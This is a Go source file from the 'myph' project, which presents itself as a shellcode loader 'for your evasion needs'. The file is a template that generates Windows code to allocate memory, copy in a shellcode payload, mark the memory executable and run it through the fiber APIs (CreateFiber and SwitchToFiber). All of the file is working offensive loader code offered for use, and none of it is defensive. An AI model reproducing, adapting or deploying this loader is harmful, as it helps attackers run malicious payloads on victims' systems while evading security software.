myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
createFiber.go (2536B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type CreateFiberTemplate struct{}
      9 
     10 func (t CreateFiberTemplate) Import() string {
     11 	return fmt.Sprintf(`
     12 import (
     13 	"os"
     14 	"unsafe"
     15     "syscall"
     16 )
     17 `)
     18 }
     19 
     20 func (t CreateFiberTemplate) Const() string {
     21 	return fmt.Sprintf(`
     22 const (
     23 	MEM_COMMIT          = 0x1000
     24 	MEM_RESERVE         = 0x2000
     25 	PAGE_EXECUTE_READ   = 0x20
     26 	PAGE_READWRITE      = 0x04
     27 )
     28 
     29 
     30 var (
     31     kernel32            = syscall.MustLoadDLL("kernel32.dll")
     32     ntdll               = syscall.MustLoadDLL("ntdll.dll")
     33 
     34 	VirtualAlloc            = kernel32.MustFindProc("VirtualAlloc")
     35 	VirtualProtect          = kernel32.MustFindProc("VirtualProtect")
     36 	ConvertThreadToFiber    = kernel32.MustFindProc("ConvertThreadToFiber")
     37 	CreateFiber             = kernel32.MustFindProc("CreateFiber")
     38 	SwitchToFiber           = kernel32.MustFindProc("SwitchToFiber")
     39     RtlCopyMemory           = ntdll.MustFindProc("RtlCopyMemory")
     40 )
     41 `)
     42 }
     43 
     44 func (t CreateFiberTemplate) Init() string {
     45 	return ""
     46 }
     47 
     48 func (t CreateFiberTemplate) Process() string {
     49 	return fmt.Sprintf(`
     50 	/* convert main thread to fiber */
     51 	fiberAddr, _, _ := ConvertThreadToFiber.Call()
     52     if fiberAddr == 0 {
     53         os.Exit(1)
     54     }
     55 
     56     /* allocate memory for the shellcode with VirtualAlloc & set the correct permissions */
     57 	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
     58     if addr == 0 {
     59         os.Exit(1)
     60     }
     61 
     62     /* copy shellcode to allocated space */
     63 	_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
     64 
     65     /* change memory permissions so that it can execute */
     66 	oldProtect := PAGE_READWRITE
     67 	_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
     68 
     69     /* call CreateFiber & switch to the fiber to execute the payload */
     70     fiber, _, _ := CreateFiber.Call(0, addr, 0)
     71 	_, _, _ = SwitchToFiber.Call(fiber)
     72 `)
     73 }
     74 
     75 func (t CreateFiberTemplate) GetTemplate(targetProcess string) string {
     76 	InformProcessUnused(targetProcess)
     77 
     78 	var template = `
     79 package main
     80 
     81 __IMPORT__STATEMENT__
     82 
     83 __CONST__STATEMENT__
     84 
     85 func ExecuteOrderSixtySix(shellcode []byte) {
     86 
     87 __IMPORT__PROCESS__
     88 
     89 }
     90 `
     91 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
     92 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
     93 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
     94 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
     95 
     96 	return template
     97 }